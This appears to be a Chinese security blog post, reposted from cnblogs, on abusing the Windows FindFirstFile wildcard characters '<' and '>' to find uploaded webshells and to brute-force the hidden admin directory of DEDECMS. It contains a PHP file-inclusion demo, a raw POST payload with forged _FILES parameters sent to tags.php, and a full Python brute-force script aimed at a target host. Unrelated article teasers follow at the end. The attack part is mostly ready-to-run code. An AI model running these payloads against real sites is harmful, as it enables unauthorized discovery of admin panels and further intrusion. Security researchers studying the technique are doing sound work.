您现在的位置是:首页 > 正文

读DEDECMS找后台目录有感

2024-02-29 16:58:26阅读 5

本文作者:红日安全团队——Mochazz

早上看了先知论坛的这篇文章:解决DEDECMS历史难题–找后台目录 不得不说作者思路确实巧妙,作者巧妙的利用了Windows FindFirstFile和织梦程序代码中对上传图片的逻辑判断,成功在Windows环境下爆破出后台目录。可能一些人不了解Windows FindFirstFile,其实就是Windows在搜索文件时,使用到的一个winapi 函数,有时候我们找不到自己上传的马时,也可以利用它,请阅读下面一段解释:

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell 文件路径,但是当在Windows 下时,我们只需要知道文件所在目录,然后利用Windows 的特性就可以访问到文件,这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

PS:这两段话出自《代码审计–企业级Web代码安全架构》一书。感觉后面一段话有些问题,在实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。

我们可以尝试一下,新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php,内容如下:

# 5149ff33ebec0e6ad37613ea30694c07.php
<?php
        phpinfo();
?>
# demo.php
<?php
        $filename = $_GET["file"];
        include $filename.".php"; ?>

访问 http://localhost/demo.php?file=5&lt; ,成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

1.png

下面我们再来看看如何使用这种方式,快速爆破处dedecms后台。代码逻辑,先知的 这篇文章 已经讲的很细了,这里直接看具体payload:

POST /tags.php HTTP/1.1
Host: 192.168.1.9
Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 132 _FILES[mochazz][tmp_name]=./mo<</images/adminico.gif&_FILES[mochazz][name]=0&_FILES[mochazz][size]=0&_FILES[mochazz][type]=image/gif

2.png3.png

可以看到目录文件存在和不存在,返回结果是不一样的,所以我们可以用python写个简单的爆破程序:

#!/usr/bin/env python
'''/*
    * author = Mochazz
    * team   = 红日安全团队
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = "" flag = 0 url = "http://192.168.1.9/tags.php" data = {     "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",     "_FILES[mochazz][name]" : 0,     "_FILES[mochazz][size]" : 0,     "_FILES[mochazz][type]" : "image/gif" } for num in range(1,7):     if flag:         break     for pre in itertools.permutations(characters,num):         pre = ''.join(list(pre))         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)         print("testing",pre)         r = requests.post(url,data=data)         if "Upload filetype not allow !" not in r.text and r.status_code == 200:             flag = 1             back_dir = pre             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"             break         else:             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("[+] 前缀为:",back_dir) flag = 0 for i in range(30):     if flag:         break     for ch in characters:         if ch == characters[-1]:             flag = 1             break         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)         r = requests.post(url, data=data)         if "Upload filetype not allow !" not in r.text and r.status_code == 200:             back_dir += ch             print("[+] ",back_dir)             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"             break         else:             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("后台地址为:",back_dir)

演示结果:

5.gif

 

 

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~

 

转载于:https://www.cnblogs.com/ichunqiu/p/8487698.html

网站文章

  • Integer和int的区别?什么时候用Integer,什么时候使用int

    Integer和int的区别?什么时候用Integer,什么时候使用int

    我是在使用map集合实现存入某种商品实现数量的累计时发现的问题 public class 测试 { private static Map cartMap = new HashMap(); public static void main(String[] args) { //定义一个变量,用于存储购物车数据 //{商品ID:数量} //{1:10,2:1} //////购物车功能/////

    2024-02-29 16:58:10
  • 对R语言发展与历史的一个初步认识

      在前面,介绍了一些R语言的一些基本知识,包括R的数据类型,使用R进行基本的数据统计处理的方法,以及一些常见的统计图绘制方法。今天转过头来看看R语言的一些介绍,在有了初步的使用经验之后,再重新认识一下R语言。  大连渤海医院电话 http://jbk.39.net/yiyuanfengcai/lx_dlbhyy/  R语言是用于统计分析,绘图的语言和操作环境。其前身是19...

    2024-02-29 16:58:02
  • linux端更新pip

    linux默认安装的是python2,若想使用python3环境更新pip版本:sudo python3 -m pip install --upgrade pip(sudo防止有权限报错为题)

    2024-02-29 16:57:56
  • EditText弹出输入法以后ActionBar消失的原因

    因为项目中我统一更换了ActionBar,后来发现,个别页面,输入法弹出的时候,ActionBar消失了,(也不能说是消失,就是ActionBar的返回按钮和title都没有了),找了好久。一个偶然的...

    2024-02-29 16:57:29
  • Javascrip变量作用域详解

    变量作用域是每门编程语言都会涉及的话题,也是作为一名程序员必需掌握的知识点,能深入掌握变量作用域更有助于你编写稳定的程序。 JavaScript本身作为一门简单的语言,就其变量作用域问题一样令不少人头...

    2024-02-29 16:57:22
  • 嵌入式开发板RS485协议串口编程——角度传感器数据读取

    嵌入式开发板RS485协议串口编程——角度传感器数据读取

    嵌入式开发板RS485协议串口编程——倾角传感器数据读取之前分享过一篇嵌入式操作系统开发板中的串口编程——光敏电阻数据读取,是基于TTL协议的串口编程,本节主要讲述基于RS485协议的串口编程,掌握了...

    2024-02-29 16:57:19
  • 操作系统题目收录(八)

    操作系统题目收录(八)

    操作系统题目收录

    2024-02-29 16:56:47
  • C# 绘图基本方法

    C# 绘图基本方法

    绘图方法

    2024-02-29 16:56:41
  • 基于javaweb+mysql的ssm+maven毕业生去向登记分析管理系统(java+ssm+html+javascript+mysql)

    基于javaweb+mysql的ssm+maven毕业生去向登记分析管理系统(java+ssm+html+javascript+mysql)

    2.IDE环境:IDEA,Eclipse,Myeclipse都可以。3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可 4.硬件环境:windows 7/8/10 1G内存以上;或者 ...

    2024-02-29 16:56:34
  • Java中自带的sort方法原理解析

    排序问题是算法里面的经典问题,也是计算机学科数据结构课程里面的必修课,面对诸多的如插入排序,快速排序,堆排序,归并排序等等经典排序算法, sort()是Java中用来排序的一个方法,在我们专心学习各种...

    2024-02-29 16:56:06